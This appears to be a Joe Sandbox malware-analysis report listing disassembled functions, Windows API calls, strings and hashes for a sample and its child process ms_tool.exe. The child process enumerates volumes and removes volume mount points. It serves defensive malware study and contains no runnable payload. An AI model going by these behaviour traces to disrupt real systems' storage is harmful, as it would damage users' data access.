Associated: 00000000.00000002.1701300528.0000000000F7A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701324839.0000000000F89000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701344204.0000000000F8A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701444135.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f50000_1hibLFnCm1.jbxd

Yara matches

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: 095c3464c955e1195ee8213d6886c9e61ab83be23d685937a4eb9b36858659af
Instruction ID: f8b3ffaa508d089832e7e05f6cc03e4e1c1d133e1d36cb4049524c1277f00655
Opcode Fuzzy Hash: 095c3464c955e1195ee8213d6886c9e61ab83be23d685937a4eb9b36858659af
Instruction Fuzzy Hash: 8F1104A7904209FEAA212B715C8DCBF3A6CDF8A3A47510526F90AD1102EE648D02B573

Function 00F5869B Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 00F585FC: GetModuleHandleExW.KERNEL32(00000002,00000000,00000000,?,?,00F5864E,00000014,?,00F5868F,00000014,?,00F52311,00000000,00000014,00000000,00000000), ref: 00F58608

__Mtx_unlock.LIBCPMT ref: 00F586E1
FreeLibraryWhenCallbackReturns.KERNEL32(?,00000000,8C9F690D,?,?,?,Function_000292E8,000000FF), ref: 00F58709
__Mtx_unlock.LIBCPMT ref: 00F58744
__Cnd_broadcast.LIBCPMT ref: 00F58755

Memory Dump Source

Source File: 00000000.00000002.1701264536.0000000000F51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000000.00000002.1701246741.0000000000F50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701300528.0000000000F7A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701324839.0000000000F89000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701344204.0000000000F8A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701444135.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f50000_1hibLFnCm1.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$CallbackCnd_broadcastFreeHandleLibraryModuleReturnsWhen
String ID:
API String ID: 420990631-0
Opcode ID: bd59233eff6a42afe82e8062e5d9273380a3dc7f0717321e3784943e7c083f32
Instruction ID: e3ce06478fc31b09c95349c0305ee83aab0802acd8e552167d0137256cf35248
Opcode Fuzzy Hash: bd59233eff6a42afe82e8062e5d9273380a3dc7f0717321e3784943e7c083f32
Instruction Fuzzy Hash: ED110372900604ABCB117B60AC42A6F77A8EB057B1F14452AFE15A3291DF2CD909FB92

Function 00F77F86 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,00000000,?,00000000,00000000,?,00F759E1,00000000,00000001,00000000,00F5FC3C,?,00F6A965,00F5FC3C,00000000,00000000), ref: 00F77F9D
GetLastError.KERNEL32(?,00F759E1,00000000,00000001,00000000,00F5FC3C,?,00F6A965,00F5FC3C,00000000,00000000,00F5FC3C,00F5FC3C,?,00F6AF23,?), ref: 00F77FA9

Part of subcall function 00F77F6F: CloseHandle.KERNEL32(FFFFFFFE,00F77FB9,?,00F759E1,00000000,00000001,00000000,00F5FC3C,?,00F6A965,00F5FC3C,00000000,00000000,00F5FC3C,00F5FC3C), ref: 00F77F7F

___initconout.LIBCMT ref: 00F77FB9

Part of subcall function 00F77F31: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,00F77F60,00F759CE,00F5FC3C,?,00F6A965,00F5FC3C,00000000,00000000,00F5FC3C), ref: 00F77F44

WriteConsoleW.KERNEL32(00000000,00000000,?,00000000,?,00F759E1,00000000,00000001,00000000,00F5FC3C,?,00F6A965,00F5FC3C,00000000,00000000,00F5FC3C), ref: 00F77FCE

Memory Dump Source

Source File: 00000000.00000002.1701264536.0000000000F51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000000.00000002.1701246741.0000000000F50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701300528.0000000000F7A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701324839.0000000000F89000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701344204.0000000000F8A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701444135.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f50000_1hibLFnCm1.jbxd

Yara matches

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 6896b541fd9e764b173c8beadd8f6fcbf22eb21d9ff5e5e7e09c02478cbce024
Instruction ID: 4c23aa08432ff4464048d9ec536be6837f7c6ac3cd631f65e9e77569d7e71ed2
Opcode Fuzzy Hash: 6896b541fd9e764b173c8beadd8f6fcbf22eb21d9ff5e5e7e09c02478cbce024
Instruction Fuzzy Hash: 50F0F836418618BBCF222F91AC04EDE3F66FF487B0B058415FA1D95120D6328960FBD2

Function 00F5B195 Relevance: 6.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

SleepConditionVariableCS.KERNELBASE(?,00F5B132,00000064), ref: 00F5B1B8
LeaveCriticalSection.KERNEL32(00F8B564,00F523F1,?,00F5B132,00000064,?,00000000,000000A8,00F523F1,00F8C0A0,?,00F57026), ref: 00F5B1C2
WaitForSingleObjectEx.KERNEL32(00F523F1,00000000,?,00F5B132,00000064,?,00000000,000000A8,00F523F1,00F8C0A0,?,00F57026), ref: 00F5B1D3
EnterCriticalSection.KERNEL32(00F8B564,?,00F5B132,00000064,?,00000000,000000A8,00F523F1,00F8C0A0,?,00F57026), ref: 00F5B1DA

Memory Dump Source

Source File: 00000000.00000002.1701264536.0000000000F51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000000.00000002.1701246741.0000000000F50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701300528.0000000000F7A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701324839.0000000000F89000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701344204.0000000000F8A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701444135.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f50000_1hibLFnCm1.jbxd

Yara matches

Similarity

API ID: CriticalSection$ConditionEnterLeaveObjectSingleSleepVariableWait
String ID:
API String ID: 3269011525-0
Opcode ID: 8c364e7f076b92b7b1abf439b09d4a7eff69f8b792712222f57015ca99959876
Instruction ID: 0bbe454a373bd9965bdd1ad54a529cf6e9eff94e36d3bde05c0a3f9e2dbe608a
Opcode Fuzzy Hash: 8c364e7f076b92b7b1abf439b09d4a7eff69f8b792712222f57015ca99959876
Instruction Fuzzy Hash: EDE0123254162CA7DA012B60EC19ADD3F25BB49762B090010FA0D5A174C7715944FBD7

Function 00F640FD Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 194COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 00F6418D

Strings

pow, xrefs: 00F64165, 00F64182

Memory Dump Source

Source File: 00000000.00000002.1701264536.0000000000F51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000000.00000002.1701246741.0000000000F50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701300528.0000000000F7A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701324839.0000000000F89000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701344204.0000000000F8A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701444135.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f50000_1hibLFnCm1.jbxd

Yara matches

Similarity

API ID: ErrorHandling__start
String ID: pow
API String ID: 3213639722-2276729525
Opcode ID: dabeeac95cf17905bca50c62153568c34b703394b06de1f400539f29dd96d77c
Instruction ID: 2efe670885c169da9105ea223c43c5ce738c063b9f1489c92e24a6471644f962
Opcode Fuzzy Hash: dabeeac95cf17905bca50c62153568c34b703394b06de1f400539f29dd96d77c
Instruction Fuzzy Hash: 8E517E6BE0810596CB12BB14CD5137D3BA4EB91720F304DA9F096862E9EB389CD5BA47

Function 00F520E0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00F5222D

Part of subcall function 00F5C0D1: RaiseException.KERNEL32(E06D7363,00000001,00000003,00F5BE3B,?,?,?,?,00F5BE3B,0000000C,00F88448,0000000C), ref: 00F5C131

Strings

ios_base::failbit set, xrefs: 00F520F2
ios_base::badbit set, xrefs: 00F521C7, 00F521F2, 00F52210

Memory Dump Source

Source File: 00000000.00000002.1701264536.0000000000F51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000000.00000002.1701246741.0000000000F50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701300528.0000000000F7A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701324839.0000000000F89000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701344204.0000000000F8A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701444135.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f50000_1hibLFnCm1.jbxd

Yara matches

Similarity

API ID: ExceptionRaise___std_exception_copy
String ID: ios_base::badbit set$ios_base::failbit set
API String ID: 3109751735-1240500531
Opcode ID: b2a423ee36a0198b00908e3c296d1832fcda30939d0cd8b3677229d355c3cae4
Instruction ID: b9a290942412476df5e04c23579053fa07ae56a8ba1bbc90be0f7e2e8413353e
Opcode Fuzzy Hash: b2a423ee36a0198b00908e3c296d1832fcda30939d0cd8b3677229d355c3cae4
Instruction Fuzzy Hash: C6412672504700AFC304DF28CC41A9FB7E9AF86321F188A1EFA5597652E734E949DB92

Function 00F5E2C0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 00F5E2FF
__IsNonwritableInCurrentImage.LIBCMT ref: 00F5E3B3

Strings

csm, xrefs: 00F5E39D

Memory Dump Source

Source File: 00000000.00000002.1701264536.0000000000F51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000000.00000002.1701246741.0000000000F50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701300528.0000000000F7A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701324839.0000000000F89000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701344204.0000000000F8A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701444135.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f50000_1hibLFnCm1.jbxd

Yara matches

Similarity

API ID: CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 3480331319-1018135373
Opcode ID: f011c1a25f0db3274ff0ffe759717a094914cadf7618662817a9ad823f297159
Instruction ID: 23e55d0fdb9d08d17249a9f92eabb77b9d0cb1b7d357666ed6b4b02d555e5471
Opcode Fuzzy Hash: f011c1a25f0db3274ff0ffe759717a094914cadf7618662817a9ad823f297159
Instruction Fuzzy Hash: 1C41E730E002089BCF14DF68CC84AAE7FB5BF45325F1481A5ED199B392D735DA09DB92

Function 00F5EBCD Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?), ref: 00F5EBF2

Strings

MOC, xrefs: 00F5EC04
RCC, xrefs: 00F5EC0C

Memory Dump Source

Source File: 00000000.00000002.1701264536.0000000000F51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000000.00000002.1701246741.0000000000F50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701300528.0000000000F7A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701324839.0000000000F89000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701344204.0000000000F8A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701444135.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f50000_1hibLFnCm1.jbxd

Yara matches

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 78beab65a65cc2877c0e82c042758ba84fda8fb02f857b7c0e002fda3f0cafa0
Instruction ID: 57f3f3557f1fe6a0d340943ed8ba2696e5a0cb4cf8611c376f245f7ede8d48bd
Opcode Fuzzy Hash: 78beab65a65cc2877c0e82c042758ba84fda8fb02f857b7c0e002fda3f0cafa0
Instruction Fuzzy Hash: 3A416872900209AFCF1ACF98CD85AEEBBB5BF48311F184099FE1466211D335DA54EB50

Function 00F58342 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 73COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00F583CA
RaiseException.KERNEL32(?,?,?,?,?,00000000), ref: 00F583EF

Part of subcall function 00F5C0D1: RaiseException.KERNEL32(E06D7363,00000001,00000003,00F5BE3B,?,?,?,?,00F5BE3B,0000000C,00F88448,0000000C), ref: 00F5C131

Part of subcall function 00F5F7B3: IsProcessorFeaturePresent.KERNEL32(00000017,00F5FC1C,?,00F5FA8F,00000001,00000016,00F61DB1,?,?,?,?,?,00000000), ref: 00F5F7CF

Strings

csm, xrefs: 00F5837E

Memory Dump Source

Source File: 00000000.00000002.1701264536.0000000000F51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000000.00000002.1701246741.0000000000F50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701300528.0000000000F7A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701324839.0000000000F89000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701344204.0000000000F8A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701444135.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f50000_1hibLFnCm1.jbxd

Yara matches

Similarity

API ID: ExceptionRaise$FeaturePresentProcessor__alloca_probe_16
String ID: csm
API String ID: 1924019822-1018135373
Opcode ID: cea541d99ad7c0c2e657c417c9ffad24e1a69cc8051a095e160bfd82b4b23feb
Instruction ID: 40b031bfdc854d37d5f5cd7cd51f8894018be1af2c6763aeab54609691a1ec54
Opcode Fuzzy Hash: cea541d99ad7c0c2e657c417c9ffad24e1a69cc8051a095e160bfd82b4b23feb
Instruction Fuzzy Hash: 2421A131D00218DBCF24DF95D985AAEB7B5EF04762F140009EE06BB151DB34AD4AEBC1

Function 00F51B00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00F51B05
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00F51B4A

Part of subcall function 00F58F8E: _Yarn.LIBCPMT ref: 00F58FAD
Part of subcall function 00F58F8E: _Yarn.LIBCPMT ref: 00F58FD1

Strings

bad locale name, xrefs: 00F51B58

Memory Dump Source

Source File: 00000000.00000002.1701264536.0000000000F51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000000.00000002.1701246741.0000000000F50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701300528.0000000000F7A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701324839.0000000000F89000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701344204.0000000000F8A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701444135.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f50000_1hibLFnCm1.jbxd

Yara matches

Similarity

API ID: Yarnstd::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 1908188788-1405518554
Opcode ID: f61e93aeb2e222dd36bc563a17084de8656427c16616318297670a63c8ee868e
Instruction ID: 8df799305671f045faddc3c0ccd9710e3d543aa27754554e4791ebf14aa10cc8
Opcode Fuzzy Hash: f61e93aeb2e222dd36bc563a17084de8656427c16616318297670a63c8ee868e
Instruction Fuzzy Hash: AFF09070511B808ED330DF358804743BEE0AF28314F044E1DD9CAC7A42E778E108CBA6

Analysis Process: ms_tool.exePID: 6672, Parent PID: 6532COMMON

Execution Graph

Execution Coverage:	32.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	8.8%
Total number of Nodes:	182
Total number of Limit Nodes:	5

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00007FF68C5E1754 Relevance: 33.4, APIs: 18, Strings: 1, Instructions: 181
filememoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE ref: 00007FF68C5E17B4
DeviceIoControl.KERNELBASE ref: 00007FF68C5E17FF
FindCloseChangeNotification.KERNELBASE ref: 00007FF68C5E182D
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF68C5E183D
FindFirstVolumeW.KERNELBASE ref: 00007FF68C5E185F
GetVolumePathNamesForVolumeNameW.KERNELBASE ref: 00007FF68C5E1892
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF68C5E18A2
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF68C5E18B5
LocalAlloc.KERNELBASE ref: 00007FF68C5E18D6
GetVolumePathNamesForVolumeNameW.KERNELBASE ref: 00007FF68C5E18FF
LocalFree.API-MS-WIN-CORE-HEAP-L2-1-0 ref: 00007FF68C5E1912
LocalFree.API-MS-WIN-CORE-HEAP-L2-1-0 ref: 00007FF68C5E1942
LocalFree.API-MS-WIN-CORE-HEAP-L2-1-0 ref: 00007FF68C5E1975
FindNextVolumeW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF68C5E1999
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF68C5E19AD
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF68C5E19BE
FindVolumeClose.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF68C5E19D4
FindVolumeClose.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF68C5E19E5

Part of subcall function 00007FF68C5E1238: FormatMessageW.KERNELBASE ref: 00007FF68C5E129F

Strings

\\.\MountPointManager, xrefs: 00007FF68C5E178D

Memory Dump Source

Source File: 00000001.00000002.1700999861.00007FF68C5E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF68C5E0000, based on PE: true

Associated: 00000001.00000002.1700976696.00007FF68C5E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1701020136.00007FF68C5E4000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1701045521.00007FF68C5E7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff68c5e0000_ms_tool.jbxd

Similarity

API ID: Volume$ErrorFindLast$Local$CloseFree$NameNamesPath$AllocChangeControlCreateDeviceFileFirstFormatMessageNextNotification
String ID: \\.\MountPointManager
API String ID: 1486330377-3276014075
Opcode ID: 4f1b137e6b44270cdbe81a40865537fca5d555951e32f5bc0a902f18b8e4e355
Instruction ID: e63a3ba6870a7e250ae514d4c648a79eed8437527160e88bf835da0727ab5421
Opcode Fuzzy Hash: 4f1b137e6b44270cdbe81a40865537fca5d555951e32f5bc0a902f18b8e4e355
Instruction Fuzzy Hash: DA818232A08642C6EF549B61E4041BEBBA1FF89B50F459239DA5E837D1DF3CD415C702

Function 00007FF68C5E1494 Relevance: 7.6, APIs: 5, Instructions: 70
memorynativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LocalAlloc.API-MS-WIN-CORE-HEAP-L2-1-0 ref: 00007FF68C5E14B5
NtQuerySystemInformation.NTDLL ref: 00007FF68C5E14D7
LocalFree.API-MS-WIN-CORE-HEAP-L2-1-0 ref: 00007FF68C5E14F3
LocalAlloc.API-MS-WIN-CORE-HEAP-L2-1-0 ref: 00007FF68C5E1505
LocalFree.API-MS-WIN-CORE-HEAP-L2-1-0 ref: 00007FF68C5E1526

Memory Dump Source

Source File: 00000001.00000002.1700999861.00007FF68C5E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF68C5E0000, based on PE: true

Associated: 00000001.00000002.1700976696.00007FF68C5E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1701020136.00007FF68C5E4000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1701045521.00007FF68C5E7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff68c5e0000_ms_tool.jbxd

Similarity

API ID: Local$AllocFree$InformationQuerySystem
String ID:
API String ID: 3980593839-0
Opcode ID: 6ddf1129da945206f3b33d3ec7b31e3c748a7bcc96a7b0cb28222ac49aeed3a8
Instruction ID: c07f750ce35152697e6b21f6c2d745203fc63bb68bc8005c49dfa3635e0b21d7
Opcode Fuzzy Hash: 6ddf1129da945206f3b33d3ec7b31e3c748a7bcc96a7b0cb28222ac49aeed3a8
Instruction Fuzzy Hash: 6C216B31B08B82C6EE948B55E54417ABAA1FF89B80F55903ADB4F87746DF3CD861CB01

Function 00007FF68C5E13B4 Relevance: 4.6, APIs: 3, Instructions: 55
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE ref: 00007FF68C5E1414
DeviceIoControl.KERNELBASE ref: 00007FF68C5E1455
CloseHandle.API-MS-WIN-CORE-HANDLE-L1-1-0 ref: 00007FF68C5E1466

Memory Dump Source

Source File: 00000001.00000002.1700999861.00007FF68C5E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF68C5E0000, based on PE: true

Associated: 00000001.00000002.1700976696.00007FF68C5E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1701020136.00007FF68C5E4000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1701045521.00007FF68C5E7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff68c5e0000_ms_tool.jbxd

Similarity

API ID: CloseControlCreateDeviceFileHandle
String ID:
API String ID: 33631002-0
Opcode ID: ee6c0a8678e403f1ed9499553ee9dcd739a3b3037c75b270b4454832f7db71cd
Instruction ID: 39ffd844a19a15848588f5307ef9bdbfbf2a242e0d8b268a9f321ad50e1f988e
Opcode Fuzzy Hash: ee6c0a8678e403f1ed9499553ee9dcd739a3b3037c75b270b4454832f7db71cd
Instruction Fuzzy Hash: 03219572608B41C6EB604F15F44055ABAA0FB857B4F149328DEBA43BF4DF38C066CB01

Function 00007FF68C5E1348 Relevance: 1.5, APIs: 1, Instructions: 27
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtQuerySystemInformation.NTDLL ref: 00007FF68C5E137B

Memory Dump Source

Source File: 00000001.00000002.1700999861.00007FF68C5E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF68C5E0000, based on PE: true

Associated: 00000001.00000002.1700976696.00007FF68C5E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1701020136.00007FF68C5E4000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1701045521.00007FF68C5E7000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff68c5e0000_ms_tool.jbxd

Similarity

API ID: InformationQuerySystem
String ID:
API String ID: 3562636166-0
Opcode ID: b489f29188039f25b10ca4aa454a7b4c9ee8bc4f3949ed7625baf762e72cb729
Instruction ID: 10161c591be6f473f04b784ce896e7f3cde51592cc1722979c46268f3b034f5c
Opcode Fuzzy Hash: b489f29188039f25b10ca4aa454a7b4c9ee8bc4f3949ed7625baf762e72cb729
Instruction Fuzzy Hash: 70F03672A28685C7EB50CF20E49156AB371FB9D748B919239EA8D86504EF38E194CB00

Function 00007FF68C5E1A44 Relevance: 31.7, APIs: 16, Strings: 2, Instructions: 170
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF68C5E1AAC
DeviceIoControl.API-MS-WIN-CORE-IO-L1-1-0 ref: 00007FF68C5E1AEE
CloseHandle.API-MS-WIN-CORE-HANDLE-L1-1-0 ref: 00007FF68C5E1AFF
FindFirstVolumeW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF68C5E1B1D
FindFirstVolumeMountPointW.API-MS-WIN-CORE-KERNEL32-LEGACY-L1-1-1 ref: 00007FF68C5E1B71
memcpy.MSVCRT ref: 00007FF68C5E1BBD
GetVolumeNameForVolumeMountPointW.API-MS-WIN-CORE-FILE-L1-2-0 ref: 00007FF68C5E1BF4
GetVolumeNameForVolumeMountPointW.API-MS-WIN-CORE-FILE-L1-2-0 ref: 00007FF68C5E1C19
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF68C5E1C29
RemoveDirectoryW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF68C5E1C45
FindNextVolumeMountPointW.API-MS-WIN-CORE-KERNEL32-LEGACY-L1-1-1 ref: 00007FF68C5E1C65
FindVolumeMountPointClose.API-MS-WIN-CORE-KERNEL32-LEGACY-L1-1-1 ref: 00007FF68C5E1C7C
FindNextVolumeW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF68C5E1C96
FindVolumeClose.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF68C5E1CAF
FindVolumeMountPointClose.API-MS-WIN-CORE-KERNEL32-LEGACY-L1-1-1 ref: 00007FF68C5E1CC3
FindVolumeClose.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF68C5E1CD2

Strings

